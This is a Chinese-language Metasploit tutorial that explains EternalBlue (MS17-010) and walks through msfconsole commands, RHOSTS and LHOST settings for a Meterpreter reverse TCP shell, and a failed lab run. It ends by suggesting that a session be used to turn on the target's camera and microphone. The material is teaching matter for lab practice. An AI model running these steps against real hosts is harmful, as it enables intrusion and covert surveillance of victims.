一、简介
Metasploit是一个广泛使用的渗透测试框架,它为安全专家提供了一个平台,用于识别、开发和验证漏洞。
1.1、来源
Metasploit 最初由 HD Moore 在 2003 年创建。HD Moore 是一位著名的安全研究员,他创建 Metasploit 的初衷是提供一个统一的框架,让安全研究人员能够更容易地共享和使用漏洞信息。Metasploit 项目最初是开源的,后来在 2009 年,Rapid7 公司收购了 Metasploit 项目,并继续维护和发展这个框架。
1.1.1、作用
- 提供大量已知漏洞的利用模块:Metasploit 框架中包含了众多针对不同操作系统、应用程序和网络设备的漏洞利用模块。这些模块涵盖了各种类型的漏洞,如缓冲区溢出、命令注入、SQL 注入等。安全人员可以利用这些模块快速测试目标系统是否存在已知漏洞,并评估漏洞的严重性。
- 支持自定义漏洞利用开发:对于一些尚未公开或特定环境下的漏洞,安全人员可以使用 Metasploit 的开发工具和框架来创建自定义的漏洞利用模块。这使得 Metasploit 能够适应不断变化的安全环境,及时应对新出现的漏洞。
- 信息收集:在渗透测试的初始阶段,Metasploit 可以帮助安全人员收集目标系统的信息。它可以通过网络扫描、端口扫描、服务识别等方式,获取目标系统的 IP 地址、开放端口、运行的服务等信息,为后续的渗透测试提供基础。
- 权限提升:一旦成功入侵目标系统,Metasploit 可以提供各种权限提升的方法。例如,利用内核漏洞、系统配置错误或特权提升漏洞,安全人员可以将自己在目标系统上的权限从普通用户提升到管理员级别,从而获得对系统的更大控制权。
- 后渗透攻击:在获得目标系统的访问权限后,Metasploit 可以进行后渗透攻击,如收集敏感信息、安装后门、横向移动等。这些操作可以帮助安全人员进一步评估目标系统的安全状况,并为制定安全策略提供依据。
1.2、永恒之蓝
"永恒之蓝"(EternalBlue)是一个臭名昭著的网络攻击工具,它与 2017 年发生的大规模勒索软件攻击 ——WannaCry 勒索软件事件有关。
1.2.1、来源
"永恒之蓝" 最初是由美国国家安全局(NSA)开发的一个网络攻击工具。它被设计 用来利用 Windows 操作系统中的一个漏洞,允许攻击者远程执行代码。2017 年,这个工具被一个名为 "影子经纪人"(Shadow Brokers)的黑客组织泄露到互联网上。这个泄露事件引起了全球范围内的关注,因为它暴露了国家级的网络攻击工具可能被用于恶意目的。
1.2.2、作用
1. 远程执行代码:攻击者可以远程执行恶意代码,控制受影响的计算机。
2. 传播恶意软件:"永恒之蓝" 被用于传播 WannaCry 勒索软件,该软件加密用 户的文件并要 求支付赎金以解锁文件。
3. 横向移动:在网络内部,"永恒之蓝" 可以帮助攻击者从一个被感染的系统移动到另一个系 统,扩大攻击范围。
二、使用
2.1、使用介绍
2.1.1、msf使用法则
使用模块 ->配置模块必选项 ->运行模块
使用命令 msfconsole 打开msf
使用命令搜索永恒之蓝的编号(ms17_010)
search ms17_010
搜索之后出现四个功能:
exploit/windows/smb/ms17_010_eternalblue
功能:这是一个漏洞利用模块,用于远程执行代码。它利用了 MS17-010 漏洞,该漏洞存在于 Windows SMB 服务中,允许攻击者在未授权的情况下远程执行代码。这个模块通常用于渗透测试和安全评估,以检测和利用目标系统的漏洞。
exploit/windows/smb/ms17_010_psexec
功能:这也是一个利用 MS17-010 漏洞的模块,但主要用于在目标系统上执行进程。它通过 SMB 服务实现对目标系统的远程命令执行,可以用来横向移动、提升权限或执行其他恶意操作。这个模块在渗透测试中非常有用,因为它可以帮助攻击者在内网中传播。
auxiliary/admin/smb/ms17_010_command
功能:这是一个辅助模块,用于在已经利用 MS17-010 漏洞获得访问权限的系统上执行命令。它允许攻击者在目标系统上执行任意命令,从而进行进一步的操作,如文件上传、下载、系统配置修改等。
auxiliary/scanner/smb/smb_ms17_010
功能:这是一个扫描模块,用于检测目标网络中的 SMB 服务是否易受 MS17-010 漏洞的影响。它通过发送特定的数据包来检测 SMB 服务的响应,从而判断是否存在漏洞。这个模块通常用于初步的网络侦察和漏洞评估,以识别可能被永恒之蓝攻击的目标。
2.1.2、用use+模块进行使用
Use+编号以及use+模块名称
配置模块(如何进行攻击,使用什么进行攻击,攻击的对象是谁,攻击对象的什么,所以需要进行配置)
a.查看配置项
使用命令:
show options
可看到需要配置的有很多,但只需配置必选项(Required下有yes的选项)
RHOSTS
描述:目标主机的 IP 地址或主机名。这是你想要攻击或测试的目标系统。
示例:192.168.1.10
RPORT
描述:目标主机的端口号。对于 SMB 服务,默认端口是 445。
示例:445
SMBDomain
描述:用于身份验证的 Windows 域。这只影响 Windows Server 2008 R2、Windows 7、Windows Embedded Standard 7 目标机器。(可选)
示例:MYDOMAIN
SMBPass
描述:指定用户名的密码。(可选)
示例:mypassword
SMBUser
描述:用于身份验证的用户名。(可选)
示例:myusername
VERIFY ARCH
描述:检查远程架构是否与漏洞利用目标匹配。这只影响 Windows Server 2008 R2、Windows 7、Windows Embedded Standard 7 目标机器。
值:true 或 false
VERIFY TARGET
描述:检查远程操作系统是否与漏洞利用目标匹配。这只影响 Windows Server 2008 R2、Windows 7、Windows Embedded Standard 7 目标机器。
这段内容是关于一个Windows x64系统下的Meterpreter反向TCP连接Payload(攻击载荷)的配置选项。Meterpreter是一个动态可扩展的Payload,通常用于在成功渗透测试后,提供一个交互式的会话来控制被攻击的机器。下面是每个部分的详细解释:
Payload
在网络安全和渗透测试领域,通常指的是一段特定的代码或数据,它被设计用来利用目标系统的漏洞。当漏洞被成功利用后,Payload会被传送到目标系统并执行,以实现攻击者的目的。这些目的可能包括但不限于:
获取控制权:Payload可能会提供一个远程控制接口,如Meterpreter,允许攻击者远程控制被攻击的系统。
数据泄露:Payload可能会被用来窃取敏感数据,如用户名、密码、信用卡信息等。
系统破坏:在某些情况下,Payload可能会被用来破坏系统功能,比如删除文件、格式化硬盘等。
持续性访问:Payload可能会设置后门,允许攻击者在未来无需再次利用漏洞即可访问系统。
分布式拒绝服务(DDoS):Payload可能会将目标系统转变为DDoS攻击的僵尸网络的一部分。
点击劫持:Payload可能会用来接管用户的点击行为,用于恶意广告点击等。
EXITFUNC
当前设置:thread
必需:是
描述:指定Payload在完成任务后退出的技术。这里设置为thread,意味着当Payload执行完毕或需要退出时,它将在当前执行的线程中退出,而不是整个进程。这样可以减少被检测的可能性,因为整个进程不会突然结束,只有执行Payload的线程会退出。
LHOST
当前设置:192.168.70.130(就是攻击机的地址)
必需:是
描述:监听地址(就是攻击机的地址),这是攻击者用来接收从被攻击机器返回的连接的IP地址。在这个例子中,攻击者的监听IP地址是192.168.70.130。这意味着攻击者需要在这个IP地址上的机器上监听连接。
LPORT
当前设置:4444
必需:是
描述:监听端口,这是攻击者用来接收连接的端口号。在这个例子中,监听端口是4444。当被攻击的机器尝试连接回攻击者的机器时,它会尝试连接到192.168.70.130的4444端口。
总的来说,这些设置定义了如何建立从被攻击机器到攻击者控制的机器的连接。攻击者需要在192.168.70.130的4444端口上监听,等待被攻击机器的连接。一旦连接建立,Meterpreter Payload将开始执行,允许攻击者控制被攻击的机器。EXITFUNC的设置确保了当Payload完成其任务时,它不会立即终止整个进程,而是仅退出执行Payload的线程,这有助于避免引起注意。
2.2、步骤
第一步:
获取目标地址的ip(可以自己虚拟机搭建window系统,也可以自己主机上进行实验)
使用命令
ipconfig
进行ip查询获取本地地址
第二步:
在msf进行模块配置(即目标地址等):
set RHOSTS 192.168.70.1
(也可以进设置成网段 set RHOSTS 192.168.70.1-254)
LPORT(为防止端口已经被占用,修改端口为比较少见的防止攻击失败)
第三步:
运行
使用命令进行运行:
run
由于本人是在主机上进行攻击实验并没有永恒之蓝的漏洞所以攻击失败
这段输出是 Metasploit Framework 在尝试利用 SMB 服务中的 MS17-010(永恒之蓝)漏洞时的结果。下面是输出内容的解释:
- [*] Started reverse TCP handler on 192.168.70.130:10001:
- 这表示 Metasploit 已在 IP 地址 192.168.70.130 上的端口 10001 上启动了一个反向 TCP 处理程序(也称为监听器)。这是一个等待目标机器连接的服务器。
- [*] 192.168.70.1:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check:
- Metasploit 使用了一个辅助扫描模块来检查目标 IP 地址 192.168.70.1 上的端口 445 是否存在 MS17-010 漏洞。
- [-] 192.168.70.1:445 - An SMB Login Error occurred while connecting to the IPC$ tree.:
- 在尝试连接到目标机器的 IPC$ 共享时,发生了一个 SMB 登录错误。这通常意味着认证失败或者目标机器的配置阻止了这种类型的连接。
- [*] 192.168.70.1:445 - Scanned 1 of 1 hosts (100% complete):
- 这表示扫描已经完成,Metasploit 已经检查了指定的目标。
- [-] 192.168.70.1:445 - The target is not vulnerable.:
- 这是一个关键信息,表示目标机器不脆弱,即没有被检测到存在 MS17-010 漏洞。
- [*] Exploit completed, but no session was created.:
- 利用尝试已经完成,但没有成功创建会话。这意味着尽管 Metasploit 尝试利用漏洞,但它没有成功感染目标机器或获取控制权。
总结来说,Metasploit 尝试对目标机器执行永恒之蓝漏洞利用,但是没有成功,因为目标机器没有这个漏洞,或者配置阻止了这种类型的攻击。因此,没有建立会话,也就是说没有获得目标机器的控制权。
这是存在永恒之蓝漏洞的windows以及攻击成功的界面(老版本比如win2003)。
进入了meterpreter命令模式
输入命令对目标主机进行操作(比如简单的关机,打开摄像头,打开录音)(提升命令权限进行一些攻击)(网上可以进行搜索有哪些命令)